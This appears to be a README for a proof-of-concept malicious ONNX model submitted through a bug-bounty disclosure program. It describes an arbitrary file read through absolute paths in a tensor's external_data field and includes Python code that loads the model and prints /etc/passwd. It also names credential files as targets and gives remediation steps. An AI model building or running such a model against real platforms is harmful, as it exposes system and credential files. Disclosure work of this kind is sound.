README.md

metadata

tags:
  - security
  - vulnerability
  - poc
license: mit

ONNX Arbitrary File Read PoC

⚠️ WARNING: Malicious Model - For Security Research Only

This model demonstrates a critical vulnerability: Arbitrary File Read via External Data Path Traversal.

Vulnerability Description

The ONNX runtime does not validate the location field in TensorProto.external_data, allowing malicious models to read arbitrary files from the server's filesystem.

How It Works

1. The model's tensor has external_data.location set to /etc/passwd (absolute path)
2. When loaded via onnxruntime.InferenceSession(), the runtime reads this file
3. File content is loaded into the tensor data
4. Inference output contains the sensitive file content

Reproduction

import onnxruntime as ort
import numpy as np

# Load malicious model
sess = ort.InferenceSession("file_read_poc.onnx")

# Run inference (no input needed)
outputs = sess.run(None, {})

# Decode file content
file_data = bytes(outputs[0].tolist())
print(file_data.decode('utf-8', errors='ignore'))
# Output: root:x:0:0:root:/root:/bin/bash...

Impact

• Severity: Critical
• Attack Vector: Model-as-a-Service (MaaS) platforms
• Affected: Any system running user-uploaded ONNX models
• Consequences:
  • Credential theft (~/.aws/credentials, SSH keys)
  • Source code leakage
  • Configuration file exposure
  • System information disclosure

Remediation

1. Validate external_data.location to ensure it's relative and within model directory
2. Reject absolute paths
3. Implement path sandboxing
4. Add --allow-external-data flag (disabled by default)

Responsible Disclosure

This PoC is submitted through Huntr's responsible disclosure program.

Category: MFV (Model File Vulnerability)
Status: Under Review
Reporter: Security Researcher